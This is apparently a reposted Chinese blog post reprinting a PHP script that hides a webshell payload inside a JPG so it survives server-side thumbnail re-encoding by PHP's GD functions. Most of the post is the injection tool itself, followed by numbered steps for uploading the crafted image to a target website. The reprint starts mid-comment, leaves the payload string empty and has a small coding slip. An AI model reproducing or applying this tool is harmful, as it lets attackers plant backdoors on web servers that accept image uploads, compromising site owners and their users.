突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG

之前有人发布了 利用PNG 图片上述压缩函数的方法 原理利用
PNG的结构IDAT chunks填充一句话webshell,并进行一套取模运算  详见:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

但是受限于  图像的尺寸 必须320×320 且必须是PNG格式



那JPG怎么办

神奇的老外 提出了列方法



        In case of successful injection you will get a specially crafted image, which should be uploaded again.

        Since the most straightforward injection method is used, the following problems can occur:
        1) After the second processing the injected data may become partially corrupted.
        2) The jpg_payload.php script outputs "Something's wrong".
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
        initial image.

        Sergey Bobrov @Black2Fan.

        See also:
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

        */

        $miniPayload = '';

        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
        }
      
        if(!isset($argv[1])) {
                die('php jpg_payload.php ');
        }

        set_error_handler("custom_error_handler");

        for($pad = 0; $pad < 1024; $pad++) {
                $nullbytePayloadSize = $pad;
                $dis = new DataInputStream($argv[1]);
                $outStream = file_get_contents($argv[1]);
                $extraBytes = 0;
                $correctImage = TRUE;

                if($dis->readShort() != 0xFFD8) {
                        die('Incorrect SOI marker');
                }

                while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                        $marker = $dis->readByte();
                        $size = $dis->readShort() - 2;
                        $dis->skip($size);
                        if($marker === 0xDA) {
                                $startPos = $dis->seek();
                                $outStreamTmp =
                                        substr($outStream, 0, $startPos) .
                                        $miniPayload .
                                        str_repeat("\0",$nullbytePayloadSize) .
                                        substr($outStream, $startPos);
                                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                                if($extraBytes !== 0) {
                                        while((!$dis->eof())) {
                                                if($dis->readByte() === 0xFF) {
                                                        if($dis->readByte !== 0x00) {
                                                                break;
                                                        }
                                                }
                                        }
                                        $stopPos = $dis->seek() - 2;
                                        $imageStreamSize = $stopPos - $startPos;
                                        $outStream =
                                                substr($outStream, 0, $startPos) .
                                                $miniPayload .
                                                substr(
                                                        str_repeat("\0",$nullbytePayloadSize).
                                                                substr($outStream, $startPos, $imageStreamSize),
                                                        0,
                                                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                                                substr($outStream, $stopPos);
                                } elseif($correctImage) {
                                        $outStream = $outStreamTmp;
                                } else {
                                        break;
                                }
                                if(checkImage('payload_'.$argv[1], $outStream)) {
                                        die('Success!');
                                } else {
                                        break;
                                }
                        }
                }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');

        function checkImage($filename, $data, $unlink = FALSE) {
                global $correctImage;
                file_put_contents($filename, $data);
                $correctImage = TRUE;
                imagecreatefromjpeg($filename);
                if($unlink)
                        unlink($filename);
                return $correctImage;
        }

        function custom_error_handler($errno, $errstr, $errfile, $errline) {
                global $extraBytes, $correctImage;
                $correctImage = FALSE;
                if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                        if(isset($m[1])) {
                                $extraBytes = (int)$m[1];
                        }
                }
        }

        class DataInputStream {
                private $binData;
                private $order;
                private $size;

                public function __construct($filename, $order = false, $fromString = false) {
                        $this->binData = '';
                        $this->order = $order;
                        if(!$fromString) {
                                if(!file_exists($filename) || !is_file($filename))
                                        die('File not exists ['.$filename.']');
                                $this->binData = file_get_contents($filename);
                        } else {
                                $this->binData = $filename;
                        }
                        $this->size = strlen($this->binData);
                }

                public function seek() {
                        return ($this->size - strlen($this->binData));
                }

                public function skip($skip) {
                        $this->binData = substr($this->binData, $skip);
                }

                public function readByte() {
                        if($this->eof()) {
                                die('End Of File');
                        }
                        $byte = substr($this->binData, 0, 1);
                        $this->binData = substr($this->binData, 1);
                        return ord($byte);
                }

                public function readShort() {
                        if(strlen($this->binData) < 2) {
                                die('End Of File');
                        }
                        $short = substr($this->binData, 0, 2);
                        $this->binData = substr($this->binData, 2);
                        if($this->order) {
                                $short = (ord($short[1]) << 8) + ord($short[0]);
                        } else {
                                $short = (ord($short[0]) << 8) + ord($short[1]);
                        }
                        return $short;
                }

                public function eof() {
                        return !$this->binData||(strlen($this->binData) === 0);
                }
        }
?>

 http://pastebin.com/3cznqi8P
具体方法 时:
1.  你先要 上传你想要构造的图片马原片
2.  等网站生成完缩略图下载下来
3.  用上述脚本 生成带图片的 木马
4.  重新上传到网站     结束

转载于:https://www.cnblogs.com/mujj/articles/3222105.html

你可能感兴趣的:(php)